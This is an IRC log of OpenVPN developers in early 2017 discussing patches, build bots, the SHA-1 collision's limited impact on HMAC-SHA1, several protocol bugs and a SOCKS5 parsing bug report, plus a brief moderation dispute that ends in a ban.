name+domain set 02:06 <@syzzer> perfect 02:07 <@cron2_> and just sent a complaint e-mail about 01/15 :) 02:10 <@cron2_> did you send the NAK-on-double-free for 07 already? 02:11 <@cron2_> we do have a function meth.smoke()? Now that explains a lot 02:19 <@syzzer> cron2_: no, I didn't NACK 07 yet 02:19 <@syzzer> not explicitly, at least 02:20 <@syzzer> and yeah, when I want thinking what I should type after " 02:20 <@syzzer> "meth.", I couldn't resist :p 02:20 <@cron2_> :) 02:47 <@cron2_> wtf... 02:47 <@cron2_> checking for a working dd... /bin/dd 02:47 <@cron2_> checking how to truncate binary pipes... /bin/dd bs=4096 count=1 02:47 <@cron2_> checking for mt... no 02:53 <@cron2_> openvpn-2.5_git archives ready for distribution: 02:53 <@cron2_> openvpn-2.5_git.tar.gz 02:53 <@cron2_> so... if someone could ACK this... :) 03:10 <@syzzer> cron2_: I was working on a patch that fixes both issues :p 03:11 <@syzzer> just sent the ACK, now rebasing ;) 03:11 <@syzzer> more precisely, I was fighting the build farm to test the configure.ac change on a wide variety of plaforms 03:25 <@cron2_> oh, if you can reproduce the other issue, that would be great indeed :-) 03:25 <@vpnHelper> RSS Update - gitrepo: Add openssl_compat.h to openvpn_SOURCES <https://github.com/OpenVPN/openvpn/commit/827c05732b0414dbf3cc05bf4ae6bfda042eadd3> || Fix segfault when using crypto lib without AES-256-CTR or SHA256 <https://github.com/OpenVPN/openvpn/commit/2fe5547c1df854d41611633ea533649fe88e3031> 03:25 <@cron2_> none of my BSDs cared to fail there... 03:25 <@cron2_> (which is a first, hehe :) ) 04:54 <@cron2_> syzzer: interesting patch. Let's see how many of the openssl patches append something at the *end* of that block, now conflicting due to "changed context" :-) 04:54 <@syzzer> cron2_: yeah, that's going to be slightly annoying :p 04:55 <@cron2_> I just spot-checked one, and that one added in the middle, so not all are affected 05:05 <@cron2_> lets see what explodes now - too lazy to test all the variants in my zoo manually 05:07 <@vpnHelper> RSS Update - gitrepo: OpenSSL: 1.1 fallout - fix configure on old autoconf <https://github.com/OpenVPN/openvpn/commit/07372a0fdeb3638204d197d0614f776a0eb73ab9> 05:07 <@cron2_> mattock: can you see which of my buildbots are offline right now? obsd60, nbsd70 stopped again and I can't see the status page right now (at customer, not in VPN) 07:43 <@syzzer> http://shattered.io/ 07:43 <@vpnHelper> Title: SHAttered (at shattered.io) 07:44 <@syzzer> Marc Stevens did it, SHA-1 is now undeniably broken! 08:52 < SCHAAP137> woah 09:54 <@mattock> cron2_: sorry, took a while, but right now all buildslaves are up 09:55 <@mattock> I looked into the missing buildslave notifications and they "should work"(tm), but they obviously don't 09:56 <@mattock> I added some debugging code to the buildmaster, but haven't had time to see the results 09:56 <@mattock> I'll continue working on it tomorrow 11:50 <@cron2_> mattock: thanks for checking :) - now I'm at home and can see that almost everything is green again \o/ 11:57 * cron2_ finds the SHA1 attack a bit overhyped 15:08 <@dazo> ordex: I'm not sure I've caught any new versions of the auth-nocache + auth-token patch ... it might have slipped on my side though 15:12 <@dazo> cron2_: "checking for mt... no" ... probably a very old autotools feature, you know from the time when tar.gz archives where distributed via tapes ........ 15:14 <@dazo> actually, mt refers to "manifest tool" ... 15:14 <@dazo> Variable: MANIFEST_TOOL 15:14 <@dazo> Program to use rather than checking for mt, the Manifest Tool. Only used on Cygwin/MS-Windows at the moment. 15:15 <@dazo> https://www.gnu.org/software/libtool/manual/html_node/LT_005fINIT.html 15:15 <@vpnHelper> Title: Libtool: LT_INIT (at www.gnu.org) 15:17 <@dazo> (not sure why dd is checked for though, don't see that one in my ./configure script) --- Day changed Fri Feb 24 2017 01:34 < ordex> dazo: let me repaste it, just to be sure 01:35 < ordex> dazo: this is the last version I posted: http://bpaste.net/show/8b19b8587ee7 --- Log closed Fri Feb 24 03:28:29 2017 --- Log opened Fri Feb 24 03:28:37 2017 03:28 -!- Irssi: #openvpn-devel: Total of 29 nicks [8 ops, 0 halfops, 1 voices, 20 normal] 03:28 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 03:29 -!- Irssi: Join to #openvpn-devel was synced in 50 secs 04:34 <@syzzer> cron2_: the SHA1 collision isn't even a new attack, it's just proving to the world 'it can be done, and it costs approx $100k'. 04:36 <@syzzer> quite an impressive engineering feat though. 04:36 <@syzzer> and kind of a crown to all the theoretical work Stevens did on breaking SHA1 04:44 <@cron2_> syzzer: this I can appreciate :-) - the hubbub about "look, ma, your PDFs could be faked, but WE HAVE A TOOL to detect his!" is what annoys me a bit 04:45 <@cron2_> ("extra bits that are needed to change the SHA1" can be hidden in *so* many different places in a PDF that a tool that detects this particular attack is snake oil, at best) 04:48 <@cron2_> so how's SHA2 more resistant to birthday paradox? "just more bits"? 05:16 < valdikss> Hi guys 05:17 < valdikss> I have a living person who suffers from this bug https://community.openvpn.net/openvpn/ticket/603 05:17 <@vpnHelper> Title: #603 (Tunnel latency issues on Windows 7) – OpenVPN Community (at community.openvpn.net) 05:18 < valdikss> It's so bad that person starts Linux VM, runs OpenVPN client there and routes all Windows traffic into said VM. 05:22 < valdikss> Any ideas what could be the source of that bug? 06:03 <@syzzer> cron2_: the tool they have doesn't detect 'extra bits' in the PDF, it detects 'a series of bits that almost certaintly points to a crafted collision' 06:04 <@syzzer> therefore it works on all files, not just PDFs, and can be implemented as a 'hardenened SHA1' for verification, that detects an attack and changes the resulting hash to block it 06:05 <@syzzer> so that makes it possible to stay interoperable with old SHA1 stuff, but still not vulnerable to the attack 06:07 <@syzzer> wrt birthday paradox, this attack was possible because of cryptanalytic attacks, that brought down the needed effort from roughly 2^80 (sqrt(2^160)) to 2^61 06:11 <@syzzer> as far as I know such attacks are not (yet?) available for full SHA2, which means that the birthday bound is still the best we can do. For SHA256, that's roughly 2^128 and therefore unfeasible. 06:34 <@vpnHelper> RSS Update - gitrepo: fix typo in notification message <https://github.com/OpenVPN/openvpn/commit/b13bc6c9570e00d12e26bb3b8e5bf9bdb0b16eff> 06:36 < slypknot> valdikss: why do they need --mute-replay-warnings ? .. do they all use it ? 06:38 < valdikss> slypknot: no, the person of whom I am talking does not use it. 06:39 < slypknot> Who's server do they connect to ? 06:42 < slypknot> My2c: get a test network that you control end to end and try to replicate on that .. 06:44 < slypknot> valdikss: tomorrow I will have access to a complete setup i can test W7 .. I'll let you know what i find 06:58 < valdikss> slypknot: >Who's server do they connect to ? | their own 07:29 <@cron2_> Fri Feb 24 14:27:30 2017 us=367280 Error: problem with tun vs. tap setting 07:29 <@cron2_> grrr 08:14 * cron2_ takes offense at openvpn today 08:14 <@cron2_> why on earth are we not passing the authenticated username to client-connect.sh? 08:14 <@cron2_> (except if setting --username-as-common-name, which loses other information) 08:15 <@cron2_> uh 08:15 <@cron2_> wait 08:16 <@cron2_> maybe it does, and I just broke my auth... 08:28 -!- You're now known as ecrist 08:30 <@ecrist> 08:30:12 [Freenode] -!- OTR: Finished conversation with ordex 08:30 < ordex> ecrist: yap, same here 08:30 < ordex> not sure what happened before 08:31 <@ecrist> oh, I bet I know 08:31 <@ecrist> I was disconnected yesterday 08:31 <@ecrist> the window was still open, so my irssi client had a state, but yours saw a new connection 08:32 < ordex> maybe 08:33 <@ecrist> mattock: do we still use Cloudflare? 08:33 * ecrist points to * news outlet 09:33 <@cron2_> syzzer: oops :) 12:57 <@dazo> ordex: I've been testing your latest auth-nocache+auth-token patch ... this seems to nail it ... will see if I can find other ways to break it too 14:02 <@vpnHelper> RSS Update - gitrepo: Fix '--dev null' <https://github.com/OpenVPN/openvpn/commit/22c5381b71710ad0e1dbbccc1d5680fccb602311> 14:02 <@cron2_> so, with the --dev null patch, I have now a monitoring system (like nagios) that will once per hour run real openvpn connects from an unprivileged user to our corp servers, and validate that the radius backend is working, openvpn process is running (both v4 and v6) and that certificates are not expired... 14:05 <@dazo> cool! 14:14 <@dazo> *grmbl* ... I've found a potential memleak (and one no mem-leak checker can detect) ... we seem to not reset the environment variables properly in the --auth-user-pass-verify code path .... so you'll eventually end up with things like this: 14:14 <@dazo> X509_0_CN_10=Test-Client 14:14 <@dazo> X509_0_CN_11=Test-Client 14:14 <@dazo> X509_0_CN_1=Test-Client 14:14 <@dazo> X509_0_CN_2=Test-Client 14:14 <@dazo> X509_0_CN_3=Test-Client 14:14 <@dazo> X509_0_CN_4=Test-Client 14:14 <@dazo> X509_0_CN_5=Test-Client 14:14 <@dazo> X509_0_CN_6=Test-Client 14:14 <@dazo> X509_0_CN_7=Test-Client 14:14 <@dazo> X509_0_CN_8=Test-Client 14:15 <@dazo> X509_0_CN_9=Test-Client 14:15 <@dazo> X509_0_CN=Test-Client 14:15 <@ecrist> o.O 14:15 <@ecrist> how do you get that? 14:16 <@dazo> using --reneg-sec ... each renegotiation adds a new variable 14:16 <@ecrist> oops 14:17 <@dazo> *and* I've managed to get the AEAD keys out of sync .... I begin to have an idea how to reproduce that too 14:17 <@dazo> gee ... this is the "catch a bug" day :) 14:17 < slypknot> 1 quick comment: uber dazo ! 14:19 <@dazo> hahaha 14:19 <@dazo> syzzer: do you happen to be around!? (no big hopes, but you'll never know! :)) 14:21 <@cron2_> that... is an interesting bug. I wonder if we've inherited it, or which of our well-intentioned changes introduced it... 14:31 <@dazo> I have a vague idea where the env-stuff might arrive from ... currently looking into the AEAD stuff, as that is by far much more critical 14:32 <@dazo> seems a key state survives clients restarting ... so the client reconnects very fine, but can't transport any data due to "AEAD Decrypt error: cipher final failed" 14:33 <@ecrist> dazo: why isn't openvpn-as RPM relocatable, and why doesn't a RHEL7 package exist? 14:34 <@dazo> ecrist: ask OpenVPN Tech?!? :-P .... I honestly don't know ... but to be honest, I have seen plenty of RPM packages outside the RHEL/Fedora universe which does not follow the recommended packaging guidelines, which results to such "relocatable" issues .... in regards to RHEL7 ... need to check that up internally 14:35 <@ecrist> if only I knew where to ask them for help... :) 14:35 <@ecrist> thanks 14:37 <@dazo> I believe they have a support portal (don't think you need to be a paying customer, though) ... that's my best bet 14:37 <@ecrist> yeah, no worries, I knew where to go 14:37 <@dazo> heh :) 17:32 <@syzzer> dazo: I'm around now, but just shortly. sounds like both bugs you found are my doing... 17:33 <@syzzer> so just let me know when you need help / have some pointers for me to check out 17:53 <@vpnHelper> RSS Update - tickets: #847: Long lived AEAD "state" client lock-up <https://community.openvpn.net/openvpn/ticket/847> 17:59 <@dazo> syzzer: ^^^ :) 17:59 <@dazo> Diving into the env stuff now ... will do a bisect on that one 18:01 <@dazo> ordex: I didn't find a way yet to break your patch ... so I'd say that's ready for the ML ... it does what it should do ... and passes test-case 1-4 for me 18:18 < slypknot> why is BCC not available pn Trac ? 18:19 < slypknot> anti-spam ? 18:20 < slypknot> i would like to 'trac' 847 18:24 <@dazo> slypknot: you don't see the Cc field? 18:24 < slypknot> as tincantech 18:25 <@dazo> I'll add it 18:25 < slypknot> i'll double check .. 18:25 <@dazo> done 18:25 <@dazo> I'll double check the privilege settings 18:26 < slypknot> cool :) 18:26 < slypknot> thank you 18:26 < slypknot> it is done :) 18:28 <@dazo> You should have access to the Cc field now 18:29 <@dazo> I think that's not available to anyone by default, as it is only EDIT_CC ... not add/remove as separate privileges 18:29 < slypknot> yep 18:30 < slypknot> it's ok .. i am happy to ask when i really want cc 18:30 <@dazo> I've granted you the edit_cc privilege, so it should be possible now :) 18:32 < slypknot> no sign of it as yet .. but don't worry about it .. I got what i wanted ;) 18:32 <@dazo> ahh ... I added it to the debbie user 18:32 < slypknot> oh right# 18:33 < slypknot> sorry bout that :_ 18:34 <@dazo> okay, lets see now :) 18:37 < slypknot> sorry .. i don't see any change logged out and in .. can do again 18:37 < slypknot> dont worry about it :D 18:38 < slypknot> it's probably a meta setting 18:40 < ordex> dazo: cool :) 18:41 <@dazo> ordex: not saying I have tried all I could ... but at least the obvious stuff didn't break ... I rather found other bugs :) 18:41 < ordex> yeah 18:41 < ordex> I'll send it out before going out 18:41 < ordex> thanks for checking anyway :) 18:43 <@dazo> yw! 18:44 <@dazo> next week might be fairly calm here ... but it would be good to get someone else to ACK this patch though, as I've been too much involved to be objective enough 18:44 <@dazo> anyhow, unless anyone else spots something ugly .... this will go into v2.4.1 18:44 < ordex> okyz! 18:45 < slypknot> i can try to make some tests 18:45 <@dazo> that'd be valuable too! 18:46 < slypknot> i have been paying close attention to the problem 18:47 < slypknot> ordex: hey .. we may have to work together again ;) 18:51 < ordex> slypknot: oh noe!! 18:51 < ordex> :D 18:51 < ordex> just kidding ;) 18:52 * ordex is ready for further debugging! 18:52 < slypknot> LOL 18:53 < slypknot> :) 18:53 < ordex> :) 18:53 * ordex gets ready to go out 18:53 < ordex> the sun is burning outside, can't wait :P 18:53 < ordex> talk to you soon! 19:29 < slypknot> "when the token is pushed, the client will ignore.." 19:40 < slypknot> how about : the server *always* pushes a token and the client .. etc 19:42 <@dazo> because the server doesn't always do that ... and it can't do that by default as it might be auth plug-ins wants to generate the token instead (thus not needing --auth-gen-token on the server side) 19:43 < slypknot> i am playing devils advocate ;) 19:44 <@dazo> if the auth plug-in/auth-user-pass-verify script does not enable pushing 'auth-token' and the server uses --auth-gen-token ... the external auth mechanism will only see the auth request on the initial connection, not any renegotiations at all 19:45 <@dazo> so --auth-gen-token slightly changes how the server does the user/pass authentication from before 19:45 < slypknot> slightly ... 19:46 <@dazo> I consider it slightly, but I acknowledge others may feel differently about that 19:46 < slypknot> i get all the arguments for and against 19:46 < slypknot> all the ones i know of 19:47 <@dazo> if an auth plug-in/script writer don't bother about implementing this feature .... well, that's their issue ... --auth-gen-token just makes life easier for those who need something more advanced (not needing to enter username/password on every renegotiation) 19:48 <@dazo> it's a workaround feature, essentially 19:49 < slypknot> i understand that 19:50 <@dazo> hmmmm .... so I just discovered that some functions which looked useful for the env duplication bug would most likely not fail ... and then to discover it is dead code, not being used at all .... *grmbl* 19:50 <@dazo> would most likely not work! 19:52 < slypknot> ordex: dazo *is* the person to ask .. not me 19:52 < slypknot> but i have been watching this particular .. thing 19:59 < slypknot> i am on the fence tho .. --reneg-token [timeout] .. and/or auto reneg .. --gen-token [timeout] 20:05 <@dazo> --auth-gen-token [timeout] is what we have shipped already ... and the optional [timeout] defines the life-time of a token 20:06 <@dazo> not sure what --reneg-token would do ... and don't follow what you mean with auto reneg 20:06 <@dazo> (reneg is enabled by default, every hour) 20:09 < slypknot> --reneg-token .. was simply to keep you on your toes .. 20:10 < slypknot> a bluff 20:10 < slypknot> sorry :) 20:10 <@dazo> heh 20:12 < slypknot> i was also trying to think outside the box .. so not completely malicious 20:13 <@dazo> that's definitely a good thing to do :) We developers must be challenged! :) 20:14 < slypknot> Respect ^^ 20:18 <@dazo> syzzer: I might be unto one possible solution for the env duplication stuff 21:20 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has quit [Quit: Connection closed for inactivity] --- Log closed Fri Feb 24 23:13:02 2017 --- Log opened Sun Feb 26 15:16:43 2017 15:16 -!- Irssi: #openvpn-devel: Total of 27 nicks [7 ops, 0 halfops, 1 voices, 19 normal] 15:16 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 15:16 -!- You're now known as ecrist 15:16 -!- Irssi: Join to #openvpn-devel was synced in 10 secs --- Day changed Mon Feb 27 2017 04:50 < slypknot> ecrist: do we really want to humiliate this guy (I vote to delete the thread) ? https://forums.openvpn.net/viewtopic.php?f=1&t=23516&start=15#p68303 04:50 <@vpnHelper> Title: banned by rob0 uncalled for - Page 2 - OpenVPN Support Forum (at forums.openvpn.net) 04:56 <@mattock> slypknot: feel free to delete, there's no point in the thread 04:56 <@mattock> except they guy's apology 04:57 <@mattock> I see that he ranted at me also in private IRC 04:57 <@mattock> did not notice it, which is good 04:57 <@mattock> :P 05:10 < slypknot> mattock: yes , he apologised which is more than good enough .. i'll delete, thanks ;) 05:12 < slypknot> done 05:12 <@mattock> ok now back to debugging why "buildslave missing" notifications don't work 05:27 <@mattock> it was a buildslave bug: http://trac.buildbot.net/ticket/2284 05:27 <@vpnHelper> Title: #2284 (BuildMaster instance has no attribute 'statusTargets') – Buildbot (at trac.buildbot.net) 05:27 <@mattock> now it works 05:33 <@mattock> cron2, slypknot: ^^^ you should have received emails regarding missing buildslaves 05:41 < slypknot> mattock: email recieved ok 05:43 <@mattock> slypknot: great! 07:22 <@ecrist> I forced him to apologize prior to removing the ban in the main channel. 07:23 <@ecrist> FWIW, I don't consider apologies embarassing 07:23 <@ecrist> I consider them a sign of character 07:33 <@mattock> +1 08:56 < slypknot> it wasn't the apology in question .. just was it worth keeping that thread on the forum ? anyway, it's gone now 09:59 <@cron2_> re 10:00 <@cron2_> mattock: didn't read mail yet, looking now... 10:04 <@cron2_> ah, there they are... 10:06 <@cron2_> great! 14:04 <@cron2_> syzzer: are you around? 14:09 * cron2_ is looking for an authoritative statements on the implications of the SHA1 attack on IPSEC 14:10 <@cron2_> if I understand this stuff right, it's pretty much "none" (unless using cert-based auth with sha1), since IPSEC is using HMAC-SHA1, and that is resistant to this attack because a key is mixed-in? 18:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 245 seconds] 18:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 18:03 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 21:42 < slypknot> ecrist: do what you godda do 21:43 < slypknot> mattock: its a democracy 21:44 < slypknot> else vote 21:46 < slypknot> i know it is logged 21:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Connection reset by peer] 21:47 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 21:47 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Tue Feb 28 2017 02:04 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 03:31 <@d12fk> cron2_: have you seen this: http://www.metzdowd.com/pipermail/cryptography/2017-February/031604.html 03:31 <@vpnHelper> Title: [Cryptography] SHA1 collisions make Git vulnerable to attakcs by third-parties, not just repo maintainers (at www.metzdowd.com) 03:38 <@syzzer> cron2_: SHA1 in certs is bad (just as bad as it was in 2013, actually) 03:39 <@syzzer> otherwise TLS/IPSec SHA1 usage is still okay-ish 03:40 <@syzzer> HMAC-SHA1 is totally fine, SHA1 as a PRF to generate keys is totally fine, and SHA1 as the transcript digest (the thing you sign with you private key when you do a TLS/IKE exchange) is too far out-of-reach 03:41 <@syzzer> tough that last one could get viable if there are further improvements. Se advice remains: migrate away from SHA1, but no reason for panic yet. 03:46 <@syzzer> (re d12fk's link: the mail is very good, but the thread title is clickbait ;) ) 03:46 <@d12fk> yeah, the thread starter was panicking 07:56 <@ecrist> for fuck sake slypknot, why can't you behave? 09:09 < slypknot> wassup ? 09:10 <@ecrist> what do you mean, wassup? 09:10 < slypknot> what have i done ? 09:11 <@ecrist> in #openvpn last night 09:11 < slypknot> irc forum ? 09:11 < slypknot> irc 09:11 <@ecrist> yes 09:11 < slypknot> hold on 09:11 < slypknot> let me see my backlog 09:12 <@ecrist> you don't remember what you posted? 09:12 <@ecrist> 21:42:27 < slypknot> ecrist: do what you godda do 09:12 <@ecrist> 21:43:17 < slypknot> mattock: its a democracy 09:12 <@ecrist> 21:44:53 < slypknot> else vote 09:12 <@ecrist> 21:46:17 < slypknot> i know it is logged 09:13 <@ecrist> 20:46:45 < slypknot> compsman: dont use your physical disabilities as a wedge 09:13 <@ecrist> 20:46:56 < slypknot> otherwise i willl destroy you 09:15 < slypknot> let us cut to the chase .. what do you want me to say ? I can apologies for what+how I said things but that will not change my opinion of that person ... 09:27 * slypknot is sorry for his behaviour on irc last night 09:33 <@ecrist> I've permanently banned your account from the IRC channel. 09:33 < slypknot> ok 09:43 <@cron2_> d12fk, syzzer: is that the comment from Linus about git and SHA1? 09:46 * cron2_ enjoys snowboarding :) and just occasionally checks in 10:08 <@cron2_> syzzer: so how exactly does IPSEC use SHA1? I thought it is HMAC-SHA1, but your "okay-ish" comment suggests otherwise 10:08 <@cron2_> *we* do HMAC-SHA1, right? (Or AEAD :) ) 11:31 <@dazo> This makes the SHAttering stuff boring by comparison .... https://www.troyhunt.com/data-from-connected-cloudpets-teddy-bears-leaked-and-ransomed-exposing-kids-voice-messages/ 11:31 <@vpnHelper> Title: Troy Hunt: Data from connected CloudPets teddy bears leaked and ransomed, exposing kids voice messages (at www.troyhunt.com) 12:46 <@cron2_> yay 13:08 <@ecrist> yay, indeed 14:57 < slypknot> cloudpets .. that puts my crap in perspective ! 15:21 <@dazo> Thought of the day: So we kick out MD5 hashing in our code, not because our usage of MD5 is a security issue - but more to make FIPS builds easier and avoiding the "MD5 is insecure" arguments by people not understanding our usage .... And then SHAttering hits and people start worrying about SHA1 in OpenVPN ... which again is safe in regards to HMAC-SHA1 (but not SHA1 in certificates) 15:22 <@dazo> cron2_: we do HMAC-SHA1 in --auth (or AEAD if GCM is used) 16:26 <@dazo> syzzer: Perhaps we should do a security announcement in regards to SHAttering? 17:24 < slypknot> Perhaps something like like Linus says: https://en.wikipedia.org/wiki/SHA-1#Data_integrity 17:24 <@vpnHelper> Title: SHA-1 - Wikipedia (at en.wikipedia.org) 17:50 <@dazo> well, yeah, kinda ... it doesn't belong to such a Wikipedia SHA1 article though ... but something we can have under our own security announcements ... http://community.openvpn.net/openvpn/wiki/SecurityAnnouncements 17:50 <@vpnHelper> Title: SecurityAnnouncements – OpenVPN Community (at community.openvpn.net) 19:19 < ordex> dazo: imho would be helpful, in particular to avoid rumors and noise created by people that do not really understand how sha1 is used 19:24 < ordex> I think http://www.metzdowd.com/pipermail/cryptography/2017-February/031604.html is a really nice (and also funny) summary :) 19:24 <@vpnHelper> Title: [Cryptography] SHA1 collisions make Git vulnerable to attakcs by third-parties, not just repo maintainers (at www.metzdowd.com) 19:25 <@dazo> Absolutely! And AFAIR, Peter Gutmann is a fairly sensible guy normally too 19:37 < slypknot> "and the fact that 19:37 < slypknot> any CAs that weren't already randomising serial numbers before 19:38 < slypknot> easyrsa does not randomize serial numbers ? 19:42 <@dazo> I think easy-rsa depends on the behaviour of openssl in this case 20:22 <@dazo> ordex: I've spent some time on your sitnl branch today .... t_client.sh test seems to fail on my SL7.3 (RHEL7.3 clone) box 20:22 <@dazo> Test sets succeded: 4. 20:22 <@dazo> Test sets failed: 1 2 2a 3 5 6. 20:23 <@dazo> seems to be related a few lines I see in the logs to those failing tests 20:23 <@dazo> Wed Mar 1 03:18:54 2017 sitnl_addr_v6_add: fd00:abcd:194:5::1002/112 dev tun1 20:23 <@dazo> Wed Mar 1 03:18:54 2017 sitnl_route_v4_add: 10.194.0.0/16 via 10.194.5.13 dev [NULL] table 0 20:23 <@dazo> Wed Mar 1 03:18:54 2017 sitnl_send: rtnl: generic error: Invalid argument 20:23 <@dazo> Wed Mar 1 03:18:54 2017 sitnl_route_v4_add: 10.194.5.1/32 via 10.194.5.13 dev [NULL] table 0 20:23 <@dazo> Wed Mar 1 03:18:54 2017 sitnl_send: rtnl: generic error: Invalid argument 20:23 <@dazo> Wed Mar 1 03:18:54 2017 add_route_ipv6(fd00:abcd:194::/48 -> fd00:abcd:194:5::1 metric -1) dev tun1 20:23 <@dazo> Wed Mar 1 03:18:54 2017 sitnl_route_v6_add: fd00:abcd:194::/48 via :: dev [NULL] table 0 20:23 <@dazo> Wed Mar 1 03:18:54 2017 sitnl_send: rtnl: generic error: Invalid argument 20:23 <@dazo> dev NULL seems suspicious 20:32 <@dazo> Here's a --verb 7 log ... https://paste.fedoraproject.org/paste/~m74LiS4Akrc-mAaRAtINF5M1UNdIGYhyRLivL9gydE=/raw 20:44 <@dazo> another interesting artefact ... ' metric -1' 20:50 <@dazo> so when the 'dev [NULL]' stuff happens .... seems the is_on_link(is_local_route, flags, rgi) check (route.c:1546) is not happy ... and rgi->iface points at my wireless interface --- Day changed Wed Mar 01 2017 02:58 <@syzzer> cron2_: 'IPSec' is a little ambiguous. On-the-wire IPSec only uses HMAC-SHA1, indeed. But if 'IPSec' includes IKE, it could also use SHA1 (1) in certificates (bad, but probably not yet realisitically attackable), (2) to compute the digest over the handshake (which is signed by the private key), and (3) to generate the keys for the SAs from the key exchange. 02:58 <@syzzer> basically the same as for TLS :) 02:59 <@syzzer> dazo: for --auth, we already have an answer: it's not broken, but you could use 2.4+ and enable NCP/GCM. That will use GCM rather than HMAC-SHA1. 03:59 < ordex> dazo: I have to check the code closer, but those dev NULL, in theory, are expected due to the route being installed without explictly referring to an interface (they have a GW/nexthop) 04:00 < ordex> dazo: but thanks for the log! will have a look as soon as I have time! 04:40 < ordex> dazo: fd00:abcd:194::/48 via :: dev [NULL] table 0 << this is suspicious: both GW and dev are 0 04:40 < ordex> dev was supposed to be tun1 (given the previous message), but apparently the iface lookup did not work correctly 09:15 <@dazo> syzzer: yeah, I know --auth is not broken ... but we should do some announcement on it ... as the media have completely picked up on SHA1 being broken and people (our random users) probably don't necessarily know the difference between HMAC-SHA1 and SHA1; for them both carries SHA1 so it must be broken 09:15 <@dazo> ordex: nice! I did a test with both a bridge and another VPN tunnel running ... and only having wlan, lo and this VPN running ... both scenarios behaved the same 09:50 <@cron2_> dazo, syzzer: an announcement on the web page, giving a bit background why HMAC-SHA1 is not SHA1 and thus SHAttered does not apply would be great 09:52 <@cron2_> syzzer: ic, so (in IPSEC lingo) "phase 2 SHA1" should be good, "phase 1 SHA1" would be "you want to replace this", and "using IKE with certs with SHA1" is no-go? 10:12 <@syzzer> cron2_: yeah, but you should realize that 'phase 1' already contains multiple uses of SHA1 :p 10:12 <@syzzer> IPSec/IKE really managed to complicate the hell out of it :p 10:59 <@cron2_> syzzer: well, I was thinking pre-shared keys, not cert-based - if you mix in certs, all hell breaks loose :-) 11:19 <@syzzer> cron2_: ah, ok. In that case the same still holds, but just one less way to use SHA1 in phase1 :p 12:48 <@cron2_> just how many ways do they use SHA1 in phase1??!? 12:55 <@ecrist> all of them 12:55 <@cron2_> well, of course, it's an IETF protocol that suffers from about as many implementation options as openvpn has command line switches :) 13:10 <@dazo> lol 15:01 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 260 seconds] 15:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 15:49 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 17:39 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 19:25 < slypknot> curious as to waht this error is hinting at : TLS Error: Unroutable control packet received from [AF_INET]72.xx.xx.34:34448 (si=3 op=P_ACK_V1) 19:26 < slypknot> https://forums.openvpn.net/viewtopic.php?f=6&t=23526&start=15#p68421 19:26 <@vpnHelper> Title: OpenVPN on pfSense, Fedora 25 client routing issues - Page 2 - OpenVPN Support Forum (at forums.openvpn.net) 19:28 < slypknot> OpenVPN 2.3.14 x86_64-redhat-linux-gnu [SSL (OpenSSL)] [LZO] [EPOLL] [PKCS11] [MH] [IPv6] built on Dec 7 2016 20:16 < slypknot> all that i can come up with is eth0 + wlan0 both enabled at the same time 20:19 < slypknot> unless it is a deliberate attack atempt 21:26 -!- mode/#openvpn-devel [+o d12fk] by ChanServ --- Day changed Thu Mar 02 2017 07:56 <@ecrist> slypknot: this isn't a support channel 07:57 <@ecrist> but, if you google for that error, there are some pointers in the results. 13:06 -!- mode/#openvpn-devel [+o ordex] by ecrist 13:06 -!- mode/#openvpn-devel [-o ordex] by ChanServ 13:06 <@ecrist> damn you chanserv 13:07 -ChanServ:#openvpn-devel- ecrist set flags +Oerstv on ordex 13:07 -!- mode/#openvpn-devel [+o ordex] by ChanServ 13:47 <@vpnHelper> RSS Update - tickets: #847: Long lived crypto "state" client lock-up <https://community.openvpn.net/openvpn/ticket/847> 18:28 < tpw_rules> so idk exactly where to report or how to manage this but i found a bug in the socks code 18:29 < tpw_rules> in src/openvpn/socks.c, line 385 has an off by 1 error. there needs to be a + 1 to account for the length byte 18:48 <@ordex> tpw_rules: could you open a ticket? so that this does not get forgotten, please ? 18:49 <@ordex> tpw_rules: https://community.openvpn.net/openvpn/report << here 18:49 <@vpnHelper> Title: Available Reports – OpenVPN Community (at community.openvpn.net) 18:52 <@ordex> tpw_rules: and can you specify what branch you are referring to ? is it master ? 18:53 <@ordex> tpw_rules: 385 on master points to this: alen = (unsigned char) c; 19:13 < tpw_rules> ordex: yes that's the line. let me create an account and do that 19:37 < tpw_rules> ordex: https://community.openvpn.net/openvpn/ticket/848#ticket here is the completed ticket 19:37 <@vpnHelper> Title: #848 (SOCKS5 Replies Parsed Incorrectly) – OpenVPN Community (at community.openvpn.net) 19:38 <@vpnHelper> RSS Update - tickets: #848: SOCKS5 Replies Parsed Incorrectly <https://community.openvpn.net/openvpn/ticket/848> 23:08 <@vpnHelper> RSS Update - tickets: #849: Disabling IPv6 on the netiface causes a fatal error <https://community.openvpn.net/openvpn/ticket/849> --- Day changed Fri Mar 03 2017 05:15 <@dazo> tpw_rules: thanks a lot! I don't know the socks code path, but at a very quick glance it looks like an oversight 06:26 <@ordex> dazo: from what I understand, it looks like SOCKS5 never worked ? 07:37 < tpw_rules> ordex: it would have worked connecting with a raw ipv4 or ipv6 address, but not with a domain name 07:38 < tpw_rules> although it looks like openvpn always sends a domain name, so yeah. idk how it ever worked 07:39 < tpw_rules> maybe some proxy servers convert an ip address passed as a domain back to 4 octets 07:39 < tpw_rules> or 16 08:51 <@dazo> I haven't tried the socks proxy mode with 2.4, but with 2.3 and 2.2 I have run openvpn through obfsproxy ... but that was using localhost IP as the connecting point 09:34 < tpw_rules> dazo: from a quick glance at the obfsproxy code, it sends back a type 1 response with the ipv4 address as four octets. openvpn can parse that correctly. the proxy i use replies with type 3 09:34 < tpw_rules> and just echoes the domain name 09:35 < tpw_rules> idk if that's RFC compatible, but it explains why obfsproxy works 09:41 < tpw_rules> and the proxy works fine in firefox 09:48 < tpw_rules> (where RFC compatible is what my proxy does) 09:49 < 